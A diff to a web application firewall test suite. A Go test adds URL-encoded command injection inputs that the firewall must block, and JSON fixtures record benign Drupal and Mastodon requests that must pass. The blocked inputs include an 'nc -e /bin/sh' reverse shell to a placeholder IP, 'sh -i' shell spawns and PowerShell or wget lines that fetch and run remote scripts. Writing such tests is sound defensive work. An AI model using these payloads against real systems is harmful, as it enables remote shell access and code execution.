||||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||||
const mediawikiThreshold = 5
|
const mediawikiThreshold = 5
|
||||||
|
|
||||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||||
@@ -270,13 +270,25 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
// wpTitles skips 932235 and 932260, so mediawikiCommandAttack passes
|
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
||||||
// there. Commands with $(...) or /bin/sh are still refused.
|
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
||||||
|
// it once.
|
||||||
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
|
mediawikiCommandAttack,
|
||||||
|
"Example%0D%0A" + mediawikiCommandAttack,
|
||||||
|
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
|
||||||
"Example%0D%0A%24%28id%29",
|
"Example%0D%0A%24%28id%29",
|
||||||
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
|
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
|
||||||
|
"%3B%20sh%20-i",
|
||||||
|
"%26%26%20sh%20-i",
|
||||||
|
"%7C%7C%20sh%20-i",
|
||||||
|
"%60sh%20-i%60",
|
||||||
|
"%3B%20ls%20-la%20%2F",
|
||||||
|
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
|
||||||
|
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
|
||||||
|
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
|
||||||
} {
|
} {
|
||||||
body := mediawikiWatchlist.field + attack
|
body := mediawikiWatchlist.field + attack
|
||||||
|
|
||||||
|
|||||||
@@ -412,6 +412,11 @@
|
|||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
|
||||||
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||||
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||||
|
|||||||
+572
@@ -0,0 +1,572 @@
|
|||||||
|
# Ordinary Mastodon 4.7 requests that the Core Rule Set must let through at
|
||||||
|
# the defaults. They were recorded from a server driven by a headless Chrome
|
||||||
|
# and an API client. Another server delivered to it and looked its links up.
|
||||||
|
# Each line is one request as JSON. Host names, passwords, tokens and session cookies are
|
||||||
|
# invented.
|
||||||
|
{"method": "GET", "target": "/about", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/themes/default-DkDM-a1D.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/app-DHclxKoS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/gif-nHcAVb7p.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sounds/boop.ogg", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: identity;q=1, *;q=0", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: audio", "Referer: https://example.com/", "Range: bytes=0-"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/instance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/custom_emojis", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "content-type: application/json", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/utils-B19lL5A9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/simple-RcjHIGVG.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/callout-B1KuUxns.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/instance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/custom_emojis", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "content-type: application/json", "if-none-match: W/\"4f53cda18c2baa0c0354bb5f9a3ecbe5\"", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance/extended_description", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-spring_web.modern-C6ohYUSs.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/useAccount-JT03O9Xk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/add-B5d0-_pA.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/public/local", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-dom-BddMPX6d.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/alternate_email-CGhoCIc4.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/use_fetch_familiar_followers-RmTfxbbk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/public?local=true&only_media=false", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/@admin", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/oops.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/@admin", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/tags/python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
